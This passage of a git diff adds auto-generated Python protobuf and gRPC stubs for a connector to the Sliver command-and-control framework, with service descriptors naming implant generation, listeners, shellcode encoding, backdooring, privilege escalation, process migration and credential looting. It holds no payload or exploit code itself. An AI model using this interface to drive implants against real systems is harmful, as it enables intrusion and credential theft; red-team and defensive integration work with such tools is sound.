_JOB._serialized_end=4389 + _JOBS._serialized_start=4391 + _JOBS._serialized_end=4428 + _KILLJOBREQ._serialized_start=4430 + _KILLJOBREQ._serialized_end=4454 + _KILLJOB._serialized_start=4456 + _KILLJOB._serialized_end=4494 + _MTLSLISTENERREQ._serialized_start=4496 + _MTLSLISTENERREQ._serialized_end=4561 + _MTLSLISTENER._serialized_start=4563 + _MTLSLISTENER._serialized_end=4592 + _WGLISTENERREQ._serialized_start=4594 + _WGLISTENERREQ._serialized_end=4704 + _WGLISTENER._serialized_start=4706 + _WGLISTENER._serialized_end=4733 + _DNSLISTENERREQ._serialized_start=4735 + _DNSLISTENERREQ._serialized_end=4854 + _DNSLISTENER._serialized_start=4856 + _DNSLISTENER._serialized_end=4884 + _HTTPLISTENERREQ._serialized_start=4887 + _HTTPLISTENERREQ._serialized_end=5134 + _NAMEDPIPESREQ._serialized_start=5136 + _NAMEDPIPESREQ._serialized_end=5205 + _NAMEDPIPES._serialized_start=5207 + _NAMEDPIPES._serialized_end=5287 + _TCPPIVOTREQ._serialized_start=5289 + _TCPPIVOTREQ._serialized_end=5355 + _TCPPIVOT._serialized_start=5357 + _TCPPIVOT._serialized_end=5435 + _HTTPLISTENER._serialized_start=5437 + _HTTPLISTENER._serialized_end=5466 + _SESSIONS._serialized_start=5468 + _SESSIONS._serialized_end=5515 + _RENAMEREQ._serialized_start=5517 + _RENAMEREQ._serialized_end=5579 + _GENERATEREQ._serialized_start=5581 + _GENERATEREQ._serialized_end=5635 + _GENERATE._serialized_start=5637 + _GENERATE._serialized_end=5677 + _MSFREQ._serialized_start=5680 + _MSFREQ._serialized_end=5808 + _MSFREMOTEREQ._serialized_start=5811 + _MSFREMOTEREQ._serialized_end=5958 + _STAGERLISTENERREQ._serialized_start=5961 + _STAGERLISTENERREQ._serialized_end=6127 + _STAGERLISTENER._serialized_start=6129 + _STAGERLISTENER._serialized_end=6160 + _SHELLCODERDIREQ._serialized_start=6162 + _SHELLCODERDIREQ._serialized_end=6234 + _SHELLCODERDI._serialized_start=6236 + _SHELLCODERDI._serialized_end=6264 + _MSFSTAGERREQ._serialized_start=6267 + _MSFSTAGERREQ._serialized_end=6412 + _MSFSTAGER._serialized_start=6414 + _MSFSTAGER._serialized_end=6455 + _GETSYSTEMREQ._serialized_start=6457 + _GETSYSTEMREQ._serialized_end=6572 + _MIGRATEREQ._serialized_start=6575 + _MIGRATEREQ._serialized_end=6722 + _CREATETUNNELREQ._serialized_start=6724 + _CREATETUNNELREQ._serialized_end=6777 + _CREATETUNNEL._serialized_start=6779 + _CREATETUNNEL._serialized_end=6834 + _CLOSETUNNELREQ._serialized_start=6836 + _CLOSETUNNELREQ._serialized_end=6910 + _PIVOTGRAPHENTRY._serialized_start=6913 + _PIVOTGRAPHENTRY._serialized_end=7041 + _PIVOTGRAPH._serialized_start=7043 + _PIVOTGRAPH._serialized_end=7100 + _CLIENT._serialized_start=7102 + _CLIENT._serialized_end=7174 + _EVENT._serialized_start=7177 + _EVENT._serialized_end=7328 + _OPERATORS._serialized_start=7330 + _OPERATORS._serialized_end=7380 + _OPERATOR._serialized_start=7382 + _OPERATOR._serialized_end=7422 + _WEBCONTENT._serialized_start=7424 + _WEBCONTENT._serialized_end=7506 + _WEBSITEADDCONTENT._serialized_start=7509 + _WEBSITEADDCONTENT._serialized_end=7674 + _WEBSITEADDCONTENT_CONTENTSENTRY._serialized_start=7605 + _WEBSITEADDCONTENT_CONTENTSENTRY._serialized_end=7674 + _WEBSITEREMOVECONTENT._serialized_start=7676 + _WEBSITEREMOVECONTENT._serialized_end=7727 + _WEBSITE._serialized_start=7730 + _WEBSITE._serialized_end=7875 + _WEBSITE_CONTENTSENTRY._serialized_start=7605 + _WEBSITE_CONTENTSENTRY._serialized_end=7674 + _WEBSITES._serialized_start=7877 + _WEBSITES._serialized_end=7924 + _WGCLIENTCONFIG._serialized_start=7926 + _WGCLIENTCONFIG._serialized_end=8030 + _LOOT._serialized_start=8033 + _LOOT._serialized_end=8171 + _ALLLOOT._serialized_start=8173 + _ALLLOOT._serialized_end=8212 + _IOC._serialized_start=8214 + _IOC._serialized_end=8263 + _EXTENSIONDATA._serialized_start=8265 + _EXTENSIONDATA._serialized_end=8296 + _HOST._serialized_start=8299 + _HOST._serialized_end=8564 + _HOST_EXTENSIONDATAENTRY._serialized_start=8487 + _HOST_EXTENSIONDATAENTRY._serialized_end=8564 + _ALLHOSTS._serialized_start=8566 + _ALLHOSTS._serialized_end=8607 + _DLLHIJACKREQ._serialized_start=8610 + _DLLHIJACKREQ._serialized_end=8772 + _DLLHIJACK._serialized_start=8774 + _DLLHIJACK._serialized_end=8823 + _BACKDOORREQ._serialized_start=8825 + _BACKDOORREQ._serialized_end=8913 + _BACKDOOR._serialized_start=8915 + _BACKDOOR._serialized_end=8963 + _SHELLCODEENCODEREQ._serialized_start=8966 + _SHELLCODEENCODEREQ._serialized_end=9141 + _SHELLCODEENCODE._serialized_start=9143 + _SHELLCODEENCODE._serialized_end=9212 + _SHELLCODEENCODERMAP._serialized_start=9215 + _SHELLCODEENCODERMAP._serialized_end=9376 + _SHELLCODEENCODERMAP_ENCODERSENTRY._serialized_start=9301 + _SHELLCODEENCODERMAP_ENCODERSENTRY._serialized_end=9376 + _EXTERNALGENERATEREQ._serialized_start=9378 + _EXTERNALGENERATEREQ._serialized_end=9461 + _BUILDERS._serialized_start=9463 + _BUILDERS._serialized_end=9510 + _BUILDER._serialized_start=9513 + _BUILDER._serialized_end=9699 + _CREDENTIAL._serialized_start=9702 + _CREDENTIAL._serialized_end=9878 + _CREDENTIALS._serialized_start=9880 + _CREDENTIALS._serialized_end=9936 + _CRACKSTATIONS._serialized_start=9938 + _CRACKSTATIONS._serialized_end=10000 + _CRACKSTATIONSTATUS._serialized_start=10003 + _CRACKSTATIONSTATUS._serialized_end=10178 + _CRACKSYNCSTATUS._serialized_start=10181 + _CRACKSYNCSTATUS._serialized_end=10321 + _CRACKSYNCSTATUS_PROGRESSENTRY._serialized_start=10274 + _CRACKSYNCSTATUS_PROGRESSENTRY._serialized_end=10321 + _CRACKBENCHMARK._serialized_start=10324 + _CRACKBENCHMARK._serialized_end=10485 + _CRACKBENCHMARK_BENCHMARKSENTRY._serialized_start=10436 + _CRACKBENCHMARK_BENCHMARKSENTRY._serialized_end=10485 + _CRACKTASK._serialized_start=10488 + _CRACKTASK._serialized_end=10642 + _CRACKSTATION._serialized_start=10645 + _CRACKSTATION._serialized_end=11024 + _CRACKSTATION_BENCHMARKSENTRY._serialized_start=10436 + _CRACKSTATION_BENCHMARKSENTRY._serialized_end=10485 + _CUDABACKENDINFO._serialized_start=11027 + _CUDABACKENDINFO._serialized_end=11220 + _OPENCLBACKENDINFO._serialized_start=11223 + _OPENCLBACKENDINFO._serialized_end=11449 + _METALBACKENDINFO._serialized_start=11452 + _METALBACKENDINFO._serialized_end=11647 + _CRACKCOMMAND._serialized_start=11650 + _CRACKCOMMAND._serialized_end=14093 + _CRACKCONFIG._serialized_start=14095 + _CRACKCONFIG._serialized_end=14188 + _CRACKFILES._serialized_start=14190 + _CRACKFILES._serialized_end=14286 + _CRACKFILE._serialized_start=14289 + _CRACKFILE._serialized_end=14554 + _CRACKFILECHUNK._serialized_start=14556 + _CRACKFILECHUNK._serialized_end=14630 +# @@protoc_insertion_point(module_scope) diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/clientpb/client_pb2_grpc.py b/cmd/connectors/sliver-connector/sliver_service/pb/clientpb/client_pb2_grpc.py new file mode 100644 index 0000000..2daafff --- /dev/null +++ b/cmd/connectors/sliver-connector/sliver_service/pb/clientpb/client_pb2_grpc.py @@ -0,0 +1,4 @@ +# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! +"""Client and server classes corresponding to protobuf-defined services.""" +import grpc + diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/commonpb/common_pb2.py b/cmd/connectors/sliver-connector/sliver_service/pb/commonpb/common_pb2.py new file mode 100644 index 0000000..8ed8278 --- /dev/null +++ b/cmd/connectors/sliver-connector/sliver_service/pb/commonpb/common_pb2.py @@ -0,0 +1,36 @@ +# -*- coding: utf-8 -*- +# Generated by the protocol buffer compiler. DO NOT EDIT! +# source: commonpb/common.proto +"""Generated protocol buffer code.""" +from google.protobuf.internal import builder as _builder +from google.protobuf import descriptor as _descriptor +from google.protobuf import descriptor_pool as _descriptor_pool +from google.protobuf import symbol_database as _symbol_database +# @@protoc_insertion_point(imports) + +_sym_db = _symbol_database.Default() + + + + +DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x15\x63ommonpb/common.proto\x12\x08\x63ommonpb\"\x07\n\x05\x45mpty\"N\n\x07Request\x12\r\n\x05\x41sync\x18\x01 \x01(\x08\x12\x0f\n\x07Timeout\x18\x02 \x01(\x03\x12\x10\n\x08\x42\x65\x61\x63onID\x18\x08 \x01(\t\x12\x11\n\tSessionID\x18\t \x01(\t\"H\n\x08Response\x12\x0b\n\x03\x45rr\x18\x01 \x01(\t\x12\r\n\x05\x41sync\x18\x02 \x01(\x08\x12\x10\n\x08\x42\x65\x61\x63onID\x18\x08 \x01(\t\x12\x0e\n\x06TaskID\x18\t \x01(\t\"\"\n\x04\x46ile\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x0c\n\x04\x44\x61ta\x18\x02 \x01(\x0c\"\x81\x01\n\x07Process\x12\x0b\n\x03Pid\x18\x01 \x01(\x05\x12\x0c\n\x04Ppid\x18\x02 \x01(\x05\x12\x12\n\nExecutable\x18\x03 \x01(\t\x12\r\n\x05Owner\x18\x04 \x01(\t\x12\x14\n\x0c\x41rchitecture\x18\x07 \x01(\t\x12\x11\n\tSessionID\x18\x05 \x01(\x05\x12\x0f\n\x07\x43mdLine\x18\x06 \x03(\t\"$\n\x06\x45nvVar\x12\x0b\n\x03Key\x18\x01 \x01(\t\x12\r\n\x05Value\x18\x02 \x01(\tB/Z-github.com/bishopfox/sliver/protobuf/commonpbb\x06proto3') + +_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals()) +_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'commonpb.common_pb2', globals()) +if _descriptor._USE_C_DESCRIPTORS == False: + + DESCRIPTOR._options = None + DESCRIPTOR._serialized_options = b'Z-github.com/bishopfox/sliver/protobuf/commonpb' + _EMPTY._serialized_start=35 + _EMPTY._serialized_end=42 + _REQUEST._serialized_start=44 + _REQUEST._serialized_end=122 + _RESPONSE._serialized_start=124 + _RESPONSE._serialized_end=196 + _FILE._serialized_start=198 + _FILE._serialized_end=232 + _PROCESS._serialized_start=235 + _PROCESS._serialized_end=364 + _ENVVAR._serialized_start=366 + _ENVVAR._serialized_end=402 +# @@protoc_insertion_point(module_scope) diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/commonpb/common_pb2_grpc.py b/cmd/connectors/sliver-connector/sliver_service/pb/commonpb/common_pb2_grpc.py new file mode 100644 index 0000000..2daafff --- /dev/null +++ b/cmd/connectors/sliver-connector/sliver_service/pb/commonpb/common_pb2_grpc.py @@ -0,0 +1,4 @@ +# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! +"""Client and server classes corresponding to protobuf-defined services.""" +import grpc + diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/dnspb/dns_pb2.py b/cmd/connectors/sliver-connector/sliver_service/pb/dnspb/dns_pb2.py new file mode 100644 index 0000000..dc01b08 --- /dev/null +++ b/cmd/connectors/sliver-connector/sliver_service/pb/dnspb/dns_pb2.py @@ -0,0 +1,28 @@ +# -*- coding: utf-8 -*- +# Generated by the protocol buffer compiler. DO NOT EDIT! +# source: dnspb/dns.proto +"""Generated protocol buffer code.""" +from google.protobuf.internal import builder as _builder +from google.protobuf import descriptor as _descriptor +from google.protobuf import descriptor_pool as _descriptor_pool +from google.protobuf import symbol_database as _symbol_database +# @@protoc_insertion_point(imports) + +_sym_db = _symbol_database.Default() + + + + +DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x0f\x64nspb/dns.proto\x12\x05\x64nspb\"v\n\nDNSMessage\x12#\n\x04Type\x18\x01 \x01(\x0e\x32\x15.dnspb.DNSMessageType\x12\n\n\x02ID\x18\x02 \x01(\r\x12\r\n\x05Start\x18\x03 \x01(\r\x12\x0c\n\x04Stop\x18\x04 \x01(\r\x12\x0c\n\x04Size\x18\x05 \x01(\r\x12\x0c\n\x04\x44\x61ta\x18\x06 \x01(\x0c*\x87\x01\n\x0e\x44NSMessageType\x12\x07\n\x03NOP\x10\x00\x12\x08\n\x04TOTP\x10\x01\x12\x08\n\x04INIT\x10\x02\x12\x08\n\x04POLL\x10\x03\x12\t\n\x05\x43LOSE\x10\x04\x12\x0c\n\x08MANIFEST\x10\x06\x12\x13\n\x0f\x44\x41TA_TO_IMPLANT\x10\x07\x12\x15\n\x11\x44\x41TA_FROM_IMPLANT\x10\x08\x12\t\n\x05\x43LEAR\x10\tB,Z*github.com/bishopfox/sliver/protobuf/dnspbb\x06proto3') + +_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals()) +_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'dnspb.dns_pb2', globals()) +if _descriptor._USE_C_DESCRIPTORS == False: + + DESCRIPTOR._options = None + DESCRIPTOR._serialized_options = b'Z*github.com/bishopfox/sliver/protobuf/dnspb' + _DNSMESSAGETYPE._serialized_start=147 + _DNSMESSAGETYPE._serialized_end=282 + _DNSMESSAGE._serialized_start=26 + _DNSMESSAGE._serialized_end=144 +# @@protoc_insertion_point(module_scope) diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/dnspb/dns_pb2_grpc.py b/cmd/connectors/sliver-connector/sliver_service/pb/dnspb/dns_pb2_grpc.py new file mode 100644 index 0000000..2daafff --- /dev/null +++ b/cmd/connectors/sliver-connector/sliver_service/pb/dnspb/dns_pb2_grpc.py @@ -0,0 +1,4 @@ +# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! +"""Client and server classes corresponding to protobuf-defined services.""" +import grpc + diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/rpcpb/services_pb2.py b/cmd/connectors/sliver-connector/sliver_service/pb/rpcpb/services_pb2.py new file mode 100644 index 0000000..f98a1c0 --- /dev/null +++ b/cmd/connectors/sliver-connector/sliver_service/pb/rpcpb/services_pb2.py @@ -0,0 +1,29 @@ +# -*- coding: utf-8 -*- +# Generated by the protocol buffer compiler. DO NOT EDIT! +# source: rpcpb/services.proto +"""Generated protocol buffer code.""" +from google.protobuf.internal import builder as _builder +from google.protobuf import descriptor as _descriptor +from google.protobuf import descriptor_pool as _descriptor_pool +from google.protobuf import symbol_database as _symbol_database +# @@protoc_insertion_point(imports) + +_sym_db = _symbol_database.Default() + + +from sliver_service.pb.commonpb import common_pb2 as commonpb_dot_common__pb2 +from sliver_service.pb.sliverpb import sliver_pb2 as sliverpb_dot_sliver__pb2 +from sliver_service.pb.clientpb import client_pb2 as clientpb_dot_client__pb2 + + +DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x14rpcpb/services.proto\x12\x05rpcpb\x1a\x15\x63ommonpb/common.proto\x1a\x15sliverpb/sliver.proto\x1a\x15\x63lientpb/client.proto2\x85N\n\tSliverRPC\x12\x30\n\nGetVersion\x12\x0f.commonpb.Empty\x1a\x11.clientpb.Version\x12\x45\n\x10\x43lientConsoleLog\x12\x1e.clientpb.ClientConsoleLogData\x1a\x0f.commonpb.Empty(\x01\x12\x34\n\x0cGetOperators\x12\x0f.commonpb.Empty\x1a\x13.clientpb.Operators\x12*\n\x04Kill\x12\x11.sliverpb.KillReq\x1a\x0f.commonpb.Empty\x12>\n\x0bReconfigure\x12\x18.sliverpb.ReconfigureReq\x1a\x15.sliverpb.Reconfigure\x12.\n\x06Rename\x12\x13.clientpb.RenameReq\x1a\x0f.commonpb.Empty\x12\x32\n\x0bGetSessions\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Sessions\x12\x30\n\nGetBeacons\x12\x0f.commonpb.Empty\x1a\x11.clientpb.Beacons\x12/\n\tGetBeacon\x12\x10.clientpb.Beacon\x1a\x10.clientpb.Beacon\x12-\n\x08RmBeacon\x12\x10.clientpb.Beacon\x1a\x0f.commonpb.Empty\x12\x39\n\x0eGetBeaconTasks\x12\x10.clientpb.Beacon\x1a\x15.clientpb.BeaconTasks\x12\x42\n\x14GetBeaconTaskContent\x12\x14.clientpb.BeaconTask\x1a\x14.clientpb.BeaconTask\x12>\n\x10\x43\x61ncelBeaconTask\x12\x14.clientpb.BeaconTask\x1a\x14.clientpb.BeaconTask\x12\x33\n\x0cMonitorStart\x12\x0f.commonpb.Empty\x1a\x12.commonpb.Response\x12/\n\x0bMonitorStop\x12\x0f.commonpb.Empty\x1a\x0f.commonpb.Empty\x12*\n\x07GetJobs\x12\x0f.commonpb.Empty\x1a\x0e.clientpb.Jobs\x12\x32\n\x07KillJob\x12\x14.clientpb.KillJobReq\x1a\x11.clientpb.KillJob\x12\x46\n\x11StartMTLSListener\x12\x19.clientpb.MTLSListenerReq\x1a\x16.clientpb.MTLSListener\x12@\n\x0fStartWGListener\x12\x17.clientpb.WGListenerReq\x1a\x14.clientpb.WGListener\x12\x43\n\x10StartDNSListener\x12\x18.clientpb.DNSListenerReq\x1a\x15.clientpb.DNSListener\x12G\n\x12StartHTTPSListener\x12\x19.clientpb.HTTPListenerReq\x1a\x16.clientpb.HTTPListener\x12\x46\n\x11StartHTTPListener\x12\x19.clientpb.HTTPListenerReq\x1a\x16.clientpb.HTTPListener\x12O\n\x16StartTCPStagerListener\x12\x1b.clientpb.StagerListenerReq\x1a\x18.clientpb.StagerListener\x12P\n\x17StartHTTPStagerListener\x12\x1b.clientpb.StagerListenerReq\x1a\x18.clientpb.StagerListener\x12)\n\x07LootAdd\x12\x0e.clientpb.Loot\x1a\x0e.clientpb.Loot\x12)\n\x06LootRm\x12\x0e.clientpb.Loot\x1a\x0f.commonpb.Empty\x12,\n\nLootUpdate\x12\x0e.clientpb.Loot\x1a\x0e.clientpb.Loot\x12-\n\x0bLootContent\x12\x0e.clientpb.Loot\x1a\x0e.clientpb.Loot\x12-\n\x07LootAll\x12\x0f.commonpb.Empty\x1a\x11.clientpb.AllLoot\x12/\n\x05\x43reds\x12\x0f.commonpb.Empty\x1a\x15.clientpb.Credentials\x12\x32\n\x08\x43redsAdd\x12\x15.clientpb.Credentials\x1a\x0f.commonpb.Empty\x12\x31\n\x07\x43redsRm\x12\x15.clientpb.Credentials\x1a\x0f.commonpb.Empty\x12\x35\n\x0b\x43redsUpdate\x12\x15.clientpb.Credentials\x1a\x0f.commonpb.Empty\x12\x39\n\x0bGetCredByID\x12\x14.clientpb.Credential\x1a\x14.clientpb.Credential\x12\x41\n\x12GetCredsByHashType\x12\x14.clientpb.Credential\x1a\x15.clientpb.Credentials\x12J\n\x1bGetPlaintextCredsByHashType\x12\x14.clientpb.Credential\x1a\x15.clientpb.Credentials\x12@\n\x12\x43redsSniffHashType\x12\x14.clientpb.Credential\x1a\x14.clientpb.Credential\x12,\n\x05Hosts\x12\x0f.commonpb.Empty\x1a\x12.clientpb.AllHosts\x12&\n\x04Host\x12\x0e.clientpb.Host\x1a\x0e.clientpb.Host\x12)\n\x06HostRm\x12\x0e.clientpb.Host\x1a\x0f.commonpb.Empty\x12+\n\tHostIOCRm\x12\r.clientpb.IOC\x1a\x0f.commonpb.Empty\x12\x35\n\x08Generate\x12\x15.clientpb.GenerateReq\x1a\x12.clientpb.Generate\x12R\n\x10GenerateExternal\x12\x1d.clientpb.ExternalGenerateReq\x1a\x1f.clientpb.ExternalImplantConfig\x12M\n\x19GenerateExternalSaveBuild\x12\x1f.clientpb.ExternalImplantBinary\x1a\x0f.commonpb.Empty\x12\\\n GenerateExternalGetImplantConfig\x12\x17.clientpb.ImplantConfig\x1a\x1f.clientpb.ExternalImplantConfig\x12\x37\n\x0f\x42uilderRegister\x12\x11.clientpb.Builder\x1a\x0f.clientpb.Event0\x01\x12\x32\n\x0e\x42uilderTrigger\x12\x0f.clientpb.Event\x1a\x0f.commonpb.Empty\x12/\n\x08\x42uilders\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Builders\x12\x41\n\x14\x43rackstationRegister\x12\x16.clientpb.Crackstation\x1a\x0f.clientpb.Event0\x01\x12\x37\n\x13\x43rackstationTrigger\x12\x0f.clientpb.Event\x1a\x0f.commonpb.Empty\x12\x42\n\x15\x43rackstationBenchmark\x12\x18.clientpb.CrackBenchmark\x1a\x0f.commonpb.Empty\x12\x39\n\rCrackstations\x12\x0f.commonpb.Empty\x1a\x17.clientpb.Crackstations\x12\x39\n\rCrackTaskByID\x12\x13.clientpb.CrackTask\x1a\x13.clientpb.CrackTask\x12\x37\n\x0f\x43rackTaskUpdate\x12\x13.clientpb.CrackTask\x1a\x0f.commonpb.Empty\x12;\n\x0e\x43rackFilesList\x12\x13.clientpb.CrackFile\x1a\x14.clientpb.CrackFiles\x12;\n\x0f\x43rackFileCreate\x12\x13.clientpb.CrackFile\x1a\x13.clientpb.CrackFile\x12\x41\n\x14\x43rackFileChunkUpload\x12\x18.clientpb.CrackFileChunk\x1a\x0f.commonpb.Empty\x12L\n\x16\x43rackFileChunkDownload\x12\x18.clientpb.CrackFileChunk\x1a\x18.clientpb.CrackFileChunk\x12\x39\n\x11\x43rackFileComplete\x12\x13.clientpb.CrackFile\x1a\x0f.commonpb.Empty\x12\x37\n\x0f\x43rackFileDelete\x12\x13.clientpb.CrackFile\x1a\x0f.commonpb.Empty\x12\x39\n\nRegenerate\x12\x17.clientpb.RegenerateReq\x1a\x12.clientpb.Generate\x12\x39\n\rImplantBuilds\x12\x0f.commonpb.Empty\x1a\x17.clientpb.ImplantBuilds\x12:\n\x12\x44\x65leteImplantBuild\x12\x13.clientpb.DeleteReq\x1a\x0f.commonpb.Empty\x12/\n\x08\x43\x61naries\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Canaries\x12\x43\n\x16GenerateWGClientConfig\x12\x0f.commonpb.Empty\x1a\x18.clientpb.WGClientConfig\x12\x39\n\x10GenerateUniqueIP\x12\x0f.commonpb.Empty\x1a\x14.clientpb.UniqueWGIP\x12=\n\x0fImplantProfiles\x12\x0f.commonpb.Empty\x1a\x19.clientpb.ImplantProfiles\x12<\n\x14\x44\x65leteImplantProfile\x12\x13.clientpb.DeleteReq\x1a\x0f.commonpb.Empty\x12H\n\x12SaveImplantProfile\x12\x18.clientpb.ImplantProfile\x1a\x18.clientpb.ImplantProfile\x12\x37\n\x08MsfStage\x12\x16.clientpb.MsfStagerReq\x1a\x13.clientpb.MsfStager\x12\x41\n\x0cShellcodeRDI\x12\x19.clientpb.ShellcodeRDIReq\x1a\x16.clientpb.ShellcodeRDI\x12\x32\n\x0bGetCompiler\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Compiler\x12K\n\x10ShellcodeEncoder\x12\x1c.clientpb.ShellcodeEncodeReq\x1a\x19.clientpb.ShellcodeEncode\x12\x45\n\x13ShellcodeEncoderMap\x12\x0f.commonpb.Empty\x1a\x1d.clientpb.ShellcodeEncoderMap\x12\x41\n\x11TrafficEncoderMap\x12\x0f.commonpb.Empty\x1a\x1b.clientpb.TrafficEncoderMap\x12L\n\x11TrafficEncoderAdd\x12\x18.clientpb.TrafficEncoder\x1a\x1d.clientpb.TrafficEncoderTests\x12=\n\x10TrafficEncoderRm\x12\x18.clientpb.TrafficEncoder\x1a\x0f.commonpb.Empty\x12/\n\x08Websites\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Websites\x12/\n\x07Website\x12\x11.clientpb.Website\x1a\x11.clientpb.Website\x12\x33\n\rWebsiteRemove\x12\x11.clientpb.Website\x1a\x0f.commonpb.Empty\x12\x43\n\x11WebsiteAddContent\x12\x1b.clientpb.WebsiteAddContent\x1a\x11.clientpb.Website\x12\x46\n\x14WebsiteUpdateContent\x12\x1b.clientpb.WebsiteAddContent\x1a\x11.clientpb.Website\x12I\n\x14WebsiteRemoveContent\x12\x1e.clientpb.WebsiteRemoveContent\x1a\x11.clientpb.Website\x12&\n\x04Ping\x12\x0e.sliverpb.Ping\x1a\x0e.sliverpb.Ping\x12#\n\x02Ps\x12\x0f.sliverpb.PsReq\x1a\x0c.sliverpb.Ps\x12\x38\n\tTerminate\x12\x16.sliverpb.TerminateReq\x1a\x13.sliverpb.Terminate\x12\x35\n\x08Ifconfig\x12\x15.sliverpb.IfconfigReq\x1a\x12.sliverpb.Ifconfig\x12\x32\n\x07Netstat\x12\x14.sliverpb.NetstatReq\x1a\x11.sliverpb.Netstat\x12#\n\x02Ls\x12\x0f.sliverpb.LsReq\x1a\x0c.sliverpb.Ls\x12$\n\x02\x43\x64\x12\x0f.sliverpb.CdReq\x1a\r.sliverpb.Pwd\x12&\n\x03Pwd\x12\x10.sliverpb.PwdReq\x1a\r.sliverpb.Pwd\x12#\n\x02Mv\x12\x0f.sliverpb.MvReq\x1a\x0c.sliverpb.Mv\x12#\n\x02Rm\x12\x0f.sliverpb.RmReq\x1a\x0c.sliverpb.Rm\x12,\n\x05Mkdir\x12\x12.sliverpb.MkdirReq\x1a\x0f.sliverpb.Mkdir\x12\x35\n\x08\x44ownload\x12\x15.sliverpb.DownloadReq\x1a\x12.sliverpb.Download\x12/\n\x06Upload\x12\x13.sliverpb.UploadReq\x1a\x10.sliverpb.Upload\x12,\n\x05\x43hmod\x12\x12.sliverpb.ChmodReq\x1a\x0f.sliverpb.Chmod\x12,\n\x05\x43hown\x12\x12.sliverpb.ChownReq\x1a\x0f.sliverpb.Chown\x12\x32\n\x07\x43htimes\x12\x14.sliverpb.ChtimesReq\x1a\x11.sliverpb.Chtimes\x12\x37\n\x0cMemfilesList\x12\x19.sliverpb.MemfilesListReq\x1a\x0c.sliverpb.Ls\x12>\n\x0bMemfilesAdd\x12\x18.sliverpb.MemfilesAddReq\x1a\x15.sliverpb.MemfilesAdd\x12;\n\nMemfilesRm\x12\x17.sliverpb.MemfilesRmReq\x1a\x14.sliverpb.MemfilesRm\x12>\n\x0bProcessDump\x12\x18.sliverpb.ProcessDumpReq\x1a\x15.sliverpb.ProcessDump\x12,\n\x05RunAs\x12\x12.sliverpb.RunAsReq\x1a\x0f.sliverpb.RunAs\x12>\n\x0bImpersonate\x12\x18.sliverpb.ImpersonateReq\x1a\x15.sliverpb.Impersonate\x12\x38\n\tRevToSelf\x12\x16.sliverpb.RevToSelfReq\x1a\x13.sliverpb.RevToSelf\x12\x38\n\tGetSystem\x12\x16.clientpb.GetSystemReq\x1a\x13.sliverpb.GetSystem\x12)\n\x04Task\x12\x11.sliverpb.TaskReq\x1a\x0e.sliverpb.Task\x12\'\n\x03Msf\x12\x10.clientpb.MSFReq\x1a\x0e.sliverpb.Task\x12\x33\n\tMsfRemote\x12\x16.clientpb.MSFRemoteReq\x1a\x0e.sliverpb.Task\x12J\n\x0f\x45xecuteAssembly\x12\x1c.sliverpb.ExecuteAssemblyReq\x1a\x19.sliverpb.ExecuteAssembly\x12\x32\n\x07Migrate\x12\x14.clientpb.MigrateReq\x1a\x11.sliverpb.Migrate\x12\x32\n\x07\x45xecute\x12\x14.sliverpb.ExecuteReq\x1a\x11.sliverpb.Execute\x12@\n\x0e\x45xecuteWindows\x12\x1b.sliverpb.ExecuteWindowsReq\x1a\x11.sliverpb.Execute\x12\x35\n\x08Sideload\x12\x15.sliverpb.SideloadReq\x1a\x12.sliverpb.Sideload\x12;\n\x08SpawnDll\x12\x1b.sliverpb.InvokeSpawnDllReq\x1a\x12.sliverpb.SpawnDll\x12;\n\nScreenshot\x12\x17.sliverpb.ScreenshotReq\x1a\x14.sliverpb.Screenshot\x12P\n\x11\x43urrentTokenOwner\x12\x1e.sliverpb.CurrentTokenOwnerReq\x1a\x1b.sliverpb.CurrentTokenOwner\x12N\n\x12PivotStartListener\x12\x1f.sliverpb.PivotStartListenerReq\x1a\x17.sliverpb.PivotListener\x12\x44\n\x11PivotStopListener\x12\x1e.sliverpb.PivotStopListenerReq\x1a\x0f.commonpb.Empty\x12N\n\x15PivotSessionListeners\x12\x1b.sliverpb.PivotListenersReq\x1a\x18.sliverpb.PivotListeners\x12\x33\n\nPivotGraph\x12\x0f.commonpb.Empty\x1a\x14.clientpb.PivotGraph\x12@\n\x0cStartService\x12\x19.sliverpb.StartServiceReq\x1a\x15.sliverpb.ServiceInfo\x12>\n\x0bStopService\x12\x18.sliverpb.StopServiceReq\x1a\x15.sliverpb.ServiceInfo\x12\x42\n\rRemoveService\x12\x1a.sliverpb.RemoveServiceReq\x1a\x15.sliverpb.ServiceInfo\x12\x38\n\tMakeToken\x12\x16.sliverpb.MakeTokenReq\x1a\x13.sliverpb.MakeToken\x12-\n\x06GetEnv\x12\x10.sliverpb.EnvReq\x1a\x11.sliverpb.EnvInfo\x12/\n\x06SetEnv\x12\x13.sliverpb.SetEnvReq\x1a\x10.sliverpb.SetEnv\x12\x35\n\x08UnsetEnv\x12\x15.sliverpb.UnsetEnvReq\x1a\x12.sliverpb.UnsetEnv\x12\x35\n\x08\x42\x61\x63kdoor\x12\x15.clientpb.BackdoorReq\x1a\x12.clientpb.Backdoor\x12\x41\n\x0cRegistryRead\x12\x19.sliverpb.RegistryReadReq\x1a\x16.sliverpb.RegistryRead\x12\x44\n\rRegistryWrite\x12\x1a.sliverpb.RegistryWriteReq\x1a\x17.sliverpb.RegistryWrite\x12P\n\x11RegistryCreateKey\x12\x1e.sliverpb.RegistryCreateKeyReq\x1a\x1b.sliverpb.RegistryCreateKey\x12P\n\x11RegistryDeleteKey\x12\x1e.sliverpb.RegistryDeleteKeyReq\x1a\x1b.sliverpb.RegistryDeleteKey\x12T\n\x1